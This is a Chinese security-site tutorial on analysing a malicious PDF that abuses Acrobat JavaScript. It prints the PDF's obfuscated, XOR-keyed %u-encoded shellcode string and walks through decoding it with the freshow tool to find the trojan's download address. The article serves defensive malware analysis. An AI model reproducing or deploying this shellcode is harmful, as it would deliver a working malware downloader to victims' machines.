網(wǎng)馬解密大講堂—網(wǎng)馬解密高級(jí)篇(PDF解密)
作者：佚名
黑客可以利用Adobe Acrobat”提供的Javascript腳本功能，執(zhí)行隱藏在PDF文檔中的惡意代碼。那么，如何揪出它們呢？
一、pdf簡(jiǎn)介：
PDF(Portable Document Format)文件格式是Adobe公司開(kāi)發(fā)的電子文件格式。這種文件格式可以運(yùn)行在任何操作系統(tǒng)平臺(tái)上，這一特點(diǎn)使它成為在Internet上進(jìn)行電子文檔發(fā)行和數(shù)字化信息傳播的理想文檔格式。越來(lái)越多的電子圖書(shū)、產(chǎn)品說(shuō)明、公司文告、網(wǎng)絡(luò)資料、電子郵件開(kāi)始使用PDF格式文件。
二、pdf漏洞簡(jiǎn)介：
PDF是由“Adobe Acrobat”制作的，它存在一個(gè)攻擊漏洞——可以在PDF文檔中，利用“Adobe Acrobat”提供的Javascript腳本功能，執(zhí)行任意攻擊命令。
pdf網(wǎng)馬和swf網(wǎng)馬一樣，解密工具都是可以使用htmldecoder工具，解密方法和網(wǎng)馬解密高級(jí)篇(SWF解密)一樣。今天講解的這個(gè)pdf網(wǎng)馬，可以直接使用freshow這個(gè)工具來(lái)解密，因?yàn)檫@個(gè)pdf包含的shellcode直接可以通過(guò)記事本看到。小技巧：對(duì)于pdf或swf格式的文件我們可以通過(guò)記事本的方式打開(kāi)，直接查看文件的源代碼，你會(huì)有驚奇的發(fā)現(xiàn)，尤其是網(wǎng)馬解密，里面說(shuō)不定就有你要的網(wǎng)馬地址呢，呵呵。本次講解同樣不提供pdf文件的下載，以免不明網(wǎng)友，下載后運(yùn)行而導(dǎo)致系統(tǒng)中招。
上圖為此次解密pdf網(wǎng)馬的源文件代碼的部分截圖
| v a r Y T d o w n = u n e s c a p e ( " % u 9 " + " \ x 3 0 " + " 9 0 % u 9 " + " \ x 3 0 " + " 9 0 % u E 1 D 9 % u 3 4 D 9 % u 5 8 2 4 % u 5 8 5 8 % u 3 3 5 8 % u B 3 D B % u 0 3 1 C % u 3 1 C 3 % u 6 6 C 9 % u E 9 8 1 % u F A 6 5 % u 3 0 8 0 % u 4 0 2 1 % u F A E 2 % u 1 7 C 9 % u 2 1 2 2 % u 4 9 2 1 % u 0 1 2 1 % u 2 1 2 1 % u 2 1 4 B % u F 1 D E % u 2 1 9 8 % u 2 1 3 1 % u A A 2 1 % u C A D 9 % u 7 F 2 4 % u 8 5 D 2 % u F 1 D E % u D 7 C 9 % u D E D E % u C 9 D E % u 2 2 1 C % u 2 1 2 1 % u D 9 A A % u 1 9 C 9 % u 2 1 2 1 % u C 9 2 1 % u 2 0 6 C % u 2 1 2 1 % u 6 7 C 9 % u 2 1 2 1 % u C 9 2 1 % u 2 2 F A % u 2 1 2 1 % u D 9 A A % u 0 3 C 9 % u 2 1 2 1 % u C 9 2 1 % u 2 0 6 5 % u 2 1 2 1 % u 1 1 C 9 % u 2 1 2 1 % u C 9 2 1 % u 2 2 A 8 % u 2 1 2 1 % u D 9 A A % u 2 D C 9 % u 2 1 2 1 % u C 9 2 1 % u 2 0 4 0 % u 2 1 2 1 % u 3 B C 9 % u 2 1 2 1 % u C A 2 1 % u 7 2 7 9 % u F D A A % u 4 B 7 2 % u 4 9 6 1 % u 3 1 2 1 % u 2 1 2 1 % u C 9 7 6 % u 2 3 9 0 % u 2 1 2 1 % u C 4 C 9 % u 2 1 2 1 % u 7 9 2 1 % u 7 2 E 2 % u F D A A % u 4 B 7 2 % u 4 9 0 1 % u 3 1 2 1 % u 2 1 2 1 % u C 9 7 6 % u 2 3 B 8 % u 2 1 2 1 % u E C C 9 % u 2 1 2 1 % u 7 9 2 1 % u 7 6 E 2 % u 1 D C 9 % u 2 1 2 5 % u A A 2 1 % u 1 2 D 9 % u 6 8 E 8 % u E 1 1 2 % u E 2 9 1 % u D 3 D D % u A C 8 F % u D E 6 6 % u E 2 7 E % u 1 F 7 A % u 2 6 E 7 % u 1 F 9 9 % u 7 E A 8 % u 4 7 2 0 % u E 6 1 F % u 2 4 6 6 % u C 1 D E % u C 8 E 2 % u 2 5 B 4 % u 2 1 2 1 % u A 0 7 A % u 3 5 C D % u 2 1 2 0 % u A A 2 1 % u 1 F F 5 % u 2 3 E 6 % u 4 C 4 2 % u 0 1 4 5 % u E 6 1 F % u 2 5 6 3 % u 4 2 0 E % u 0 3 0 1 % u E 3 A 2 % u 1 2 2 9 % u 7 1 E 1 % u 4 9 7 1 % u 2 0 2 5 % u 2 1 2 1 % u 7 2 7 3 % u C 9 7 1 % u 2 2 E 0 % u 2 1 2 1 % u F 1 D E % u D D A A % u E 6 A A % u E 1 A 2 % u 1 F 2 9 % u 3 9 A B % u F A A 5 % u 2 2 5 5 % u C A 6 1 % u 1 F D 7 % u 2 1 E 7 % u 1 2 0 3 % u 1 F F 3 % u 7 1 A 9 % u A 2 2 0 % u 7 5 C D % u E 1 1 2 % u F A 1 2 % u E D A A % u D 9 A 2 % u 5 C 7 5 % u 1 F 2 8 % u 3 D A 8 % u A 2 2 0 % u 2 5 E 1 % u D 3 C A % u E D A A % u F 8 A A % u E 2 A 2 % u 1 2 3 1 % u 1 F E 1 % u 6 2 E 6 % u 2 0 0 D % u 2 1 2 1 % u 7 0 2 1 % u 7 1 7 2 % u 7 1 7 1 % u 7 1 7 1 % u 7 6 7 1 % u C 9 7 1 % u 2 2 1 8 % u 2 1 2 1 % u 3 8 C 9 % u 2 1 2 1 % u 4 5 2 1 % u 2 5 8 0 % u 2 1 2 1 % u A C 2 1 % u 4 1 8 1 % u D E D E % u C 9 D E % u 2 2 1 6 % u 2 1 2 1 % u F A 1 2 % u 7 2 7 2 % u 7 2 7 2 % u F 1 D E % u 1 9 A 1 % u A 1 C 9 % u C 8 1 9 % u 2 E 5 4 % u 5 9 A 0 % u B 1 2 4 % u B 1 B 1 % u 5 5 B 1 % u 7 4 2 7 % u C D A A % u 6 1 A C % u D E 2 4 % u C 9 C 1 % u D E 0 F % u D E D E % u C 9 E 2 % u D E 0 9 % u D E D E % u 3 0 9 9 % u 2 5 2 0 % u E 3 A 1 % u 2 1 2 D % u 3 A C 9 % u D E D E % u 1 2 D E % u 7 1 E 1 % u C 9 7 5 % u 2 1 7 5 % u 2 1 2 1 % u C 9 7 1 % u 2 3 A A % u 2 1 2 1 % u F 1 D E % u A 1 1 7 % u 0 5 1 D % u 5 6 2 1 % u C 9 2 B % u 2 3 6 0 % u 2 1 2 1 % u D E 1 2 % u D E 7 6 % u C 9 F 1 % u 2 0 D A % u 2 1 2 1 % u D E 4 9 % u 2 1 2 1 % u D E 2 1 % u C 9 F 1 % u D F C 9 % u D E D E % u 7 6 7 2 % u 1 2 7 7 % u 7 1 E 1 % u C 9 7 5 % u 2 1 3 F % u 2 1 2 1 % u C 9 7 1 % u 2 3 7 4 % u 2 1 2 1 % u F 1 D E % u A 1 1 7 % u 0 5 1 D % u 5 6 2 1 % u C 9 2 B % u 2 3 2 A % u 2 1 2 1 % u D E 1 2 % u D E 7 6 % u 7 9 F 1 % u 7 E 7 F % u E 2 7 A % u 2 3 C A % u E 2 7 9 % u D 8 C 9 % u D E D E % u 7 7 D E % u A 2 7 6 % u 2 9 C D % u D D A A % u 2 9 4 B % u 1 F 7 6 % u 5 6 D E % u C 9 3 5 % u 2 3 7 C % u 2 1 2 1 % u F 1 D E % u D D A A % u 4 0 4 9 % u 4 4 4 C % u 4 9 2 1 % u 6 4 6 8 % u 5 3 6 7 % u D 5 A A % u 2 9 9 8 % u 2 1 2 1 % u D 2 2 1 % u 5 4 8 7 % u 4 B 0 E % u 1 F 2 1 % u 5 5 D E % u 0 1 0 5 % u 0 5 C 9 % u 2 1 2 3 % u D E 2 1 % u A A F 1 % u C 9 D 9 % u 2 0 E A % u 2 1 2 1 % u F 1 D E % u D 9 1 A % u 2 9 5 5 % u A A 1 7 % u 0 5 6 5 % u 1 F 0 1 % u 2 1 D E % u D E 1 F % u 0 5 5 5 % u C 9 3 D % u 2 0 C E % u 2 1 2 1 % u F 1 D E % u E 5 A 2 % u 7 E 3 1 % u 9 9 7 F % u 2 1 2 0 % u 2 1 2 1 % u 4 9 E 2 % u 4 F 4 E % u 2 1 2 1 % u 5 4 4 9 % u 4 D 5 3 % u C A 4 C % u A C 3 4 % u 0 5 6 5 % u 7 1 2 5 % u 0 3 C 9 % u D E D F % u 7 1 D E % u 6 B C 9 % u 2 1 2 3 % u C 8 2 1 % u D F C 3 % u D E D E % u C 7 C 9 % u D E D E % u A 2 D E % u 2 9 E 5 % u 4 B E 2 % u 4 9 4 D % u 5 5 4 F % u 4 D 4 5 % u 3 4 C A % u 6 5 A C % u 2 5 0 5 % u C 9 7 1 % u D C D A % u D E D E % u C 9 7 1 % u 2 3 0 2 % u 2 1 2 1 % u 9 A C 8 % u D E D F % u C 9 D E % u D E C 7 % u D E D E % u E 5 A 2 % u E 2 2 9 % u 1 2 4 9 % u 2 1 1 3 % u 4 9 2 1 % u 5 2 5 4 % u 5 3 4 4 % u 3 4 C A % u 6 5 A C % u 2 5 0 5 % u C 9 7 1 % u D C F 0 % u D E D E % u C 9 7 1 % u 2 0 D 8 % u 2 1 2 1 % u B 0 C 8 % u D E D F % u C 9 D E % u D E C 7 % u D E D E % u E 5 A 2 % u E 2 2 9 % u 4 2 4 9 % u 5 6 5 7 % u 4 9 2 1 % u 4 9 5 2 % u 4 E 4 5 % u 3 4 C A % u 6 5 A C % u 2 5 0 5 % u C 9 7 1 % u D C 8 6 % u D E D E % u C 9 7 1 % u 2 0 E E % u 2 1 2 1 % u 4 6 C 8 % u D E D F % u C 9 D E % u D E C 7 % u D E D E % u E 5 A 2 % u E 2 2 9 % u 5 7 4 9 % u 5 9 4 6 % u C A 2 1 % u A C 3 4 % u 0 5 6 5 % u 7 1 2 5 % u A 3 C 9 % u D E D C % u 7 1 D E % u 8 B C 9 % u 2 1 2 0 % u C 8 2 1 % u D F 6 3 % u D E D E % u C 7 C 9 % u D E D E % u A 2 D E % u 2 5 E 5 % u C 9 E 2 % u 2 0 8 A % u 2 1 2 1 % u 3 A 4 9 % u 6 7 E 7 % u 7 1 5 8 % u E 7 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 B 6 % u 2 1 2 1 % u C D 4 9 % u 2 2 B 6 % u 7 1 2 D % u 9 3 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 A 2 % u 2 1 2 1 % u 8 B 4 9 % u 2 C D D % u 7 1 5 D % u B F C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 4 E % u 2 1 2 1 % u C C 4 9 % u C E 7 7 % u 7 1 1 7 % u A B C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 7 A % u 2 1 2 1 % u D 1 4 9 % u 2 5 A B % u 7 1 7 E % u 5 7 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F D 6 % u D E D E % u 5 9 4 9 % u F A 4 9 % u 7 1 3 D % u 4 3 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 1 2 % u 2 1 2 1 % u C E 4 9 % u C 1 E F % u 7 1 4 1 % u 6 F C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 0 3 E % u 2 1 2 1 % u 9 1 4 9 % u 0 C 6 8 % u 7 1 F A % u 1 B C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D E 1 7 % u D E D E % u 8 A 4 9 % u B A 7 F % u 7 1 3 F % u 0 7 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 8 6 % u D E D E % u 7 8 4 9 % u A 0 B 6 % u 7 1 2 3 % u 3 3 C 9 % u 2 1 2 0 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 1 C 2 % u 2 1 2 1 % u 5 F 4 9 % u C 3 F 9 % u 7 1 5 2 % u D F C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 1 E E % u 2 1 2 1 % u B F 4 9 % u 9 A D 8 % u 7 1 1 4 % u C B C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F B 3 % u D E D E % u 7 6 4 9 % u 9 4 8 1 % u 7 1 9 A % u F 7 C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 5 F % u D E D E % u 3 B 4 9 % u 3 F 5 B % u 7 1 2 3 % u E 3 C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 4 B % u D E D E % u C 1 4 9 % u 1 1 7 A % u 7 1 B 5 % u 8 F C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 7 7 % u D E D E % u B 6 4 9 % u C 3 E 8 % u 7 1 8 2 % u B B C 9 % u 2 1 2 1 " + " % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 6 3 % u D E D E % u 4 9 4 9 % u E 4 0 5 % u 7 1 9 2 % u A 7 C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 " + " % u C 9 E 2 % u 2 1 7 6 % u 2 1 2 1 % u 5 3 4 9 % u 9 2 D F % u 7 1 3 7 % u 5 3 C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u D F 6 5 % u D E D E % u 3 2 C A % u 4 4 4 B % u C 9 7 1 % u D A D 6 % u D E D E % u C 9 7 1 % u D F 8 A % u D E D E % u 9 6 C 8 % u D E D D % u C 9 D E % u D E C 9 % u D E D E % u C 9 E 2 % u D C 8 8 % u D E D E % u 6 E 4 9 % u 6 E C E % u 7 1 2 4 % u 1 F C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u C 9 E 2 % u 2 1 2 E % u 2 1 2 1 % u A F 4 9 % u 2 F 6 F % u 7 1 C D % u 0 B C 9 % u 2 1 2 1 % u A 2 2 1 % u 2 9 E 5 % u 1 2 E 2 % u 4 5 E 1 % u 6 1 A A % u A 4 1 1 % u 5 9 E 1 % u 1 F 3 1 % u 6 1 A A % u 1 F 2 D % u 5 1 A A % u 8 C 3 D % u A A 1 F % u 2 9 6 1 % u C A E 2 % u 1 F 2 A " + " % u 6 1 A A % u A 2 1 5 % u 5 D E 1 % u A A 1 F % u 1 D 6 1 % u 4 1 E 2 % u A A 1 7 % u 0 5 4 D % u 1 7 0 5 % u 6 4 A A % u 1 7 1 D % u 7 5 A A % u 5 9 2 4 % u F 4 2 2 % u A A 1 F % u 3 9 6 B % u A A 1 F % u 0 1 7 B % u F C 2 2 % u 1 A C 2 % u 1 F 6 8 % u 1 5 A A % u 2 2 A A % u 1 2 D 4 % u 1 2 D E % u D D E 1 % u A 5 8 D % u 5 5 E 1 % u E 0 2 6 % u 2 C E E % u D 9 2 2 % u D 5 C A % u 1 A 1 7 % u 0 5 5 D % u 5 4 0 9 % u 1 F F E % u 7 B A A % u 2 2 0 5 % u 4 7 F C % u A A 1 F % u 6 A 2 D % u A A 1 F % u 3 D 7 B % u F C 2 2 % u A A 1 F % u A A 2 5 % u E 4 2 2 % u A 8 1 7 % u 0 5 6 5 % u 4 0 3 D % u C 9 E 2 % u D A 4 7 % u D E D E % u 5 5 4 9 % u 5 1 5 5 % u 0 e 1 b % u 1 4 0 e % u 1 3 4 d % u 1 9 4 e % u 4 2 0 f % u 4 c 4 e % u 5 6 0 e % u 4 3 4 4 % u 1 2 0 e % u 4 4 0 f % u 4 4 5 9 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 2 1 2 1 % u 0 0 2 1 |
大家是否看著上述代碼有些眼熟吧，還記得前期我們講解shellcode加密的特征嘛，Shellcode網(wǎng)馬特征：以相同分隔符(一般為%u)分隔的4位一組的十六進(jìn)制字符串。這段代碼看著可能有些亂，需要我們先來(lái)簡(jiǎn)單的處理一下。我們先來(lái)觀察一下上述代碼的確和shellcode特征類(lèi)似，不過(guò)其中有很多的空格，ok，那么我們將這些空格取消后再看一下代碼。
在這里我們又要用到freshow的過(guò)濾功能NULS，NULS的功能就是將代碼中的空格過(guò)濾掉，使得代碼更易閱讀。 將上述代碼粘貼至freshow的上操作區(qū)域，在過(guò)濾選項(xiàng)中選擇NULS后點(diǎn)擊filter按鈕，具體操作詳見(jiàn)截圖。
取消空格在下操作區(qū)域顯示代碼的截圖。 接下來(lái)點(diǎn)擊up按鈕，將代碼上翻至上操作區(qū)域，進(jìn)行shellcode解密(兩次esc)
上圖為兩次esc后截圖，我們看到并沒(méi)有網(wǎng)馬的地址，欲知后事如何，接著往下看
為什么兩次esc后沒(méi)有網(wǎng)馬地址呢，我們?cè)賮?lái)仔細(xì)分析一下這個(gè)shellcode，里面有很多的21，其實(shí)這是一個(gè)帶密鑰(XOR21)shellcode，而密鑰就是21。ok，我們?cè)賮?lái)解一下這個(gè)shellcode，先進(jìn)行一次esc后，將代碼上翻至上操作區(qū)域，在進(jìn)行二次esc之前，輸入密鑰21后再esc，詳見(jiàn)截圖：
最終解密結(jié)果詳見(jiàn)下圖：
責(zé)任編輯：Oo小孩兒
來(lái)源：
安全中國(guó)網(wǎng)
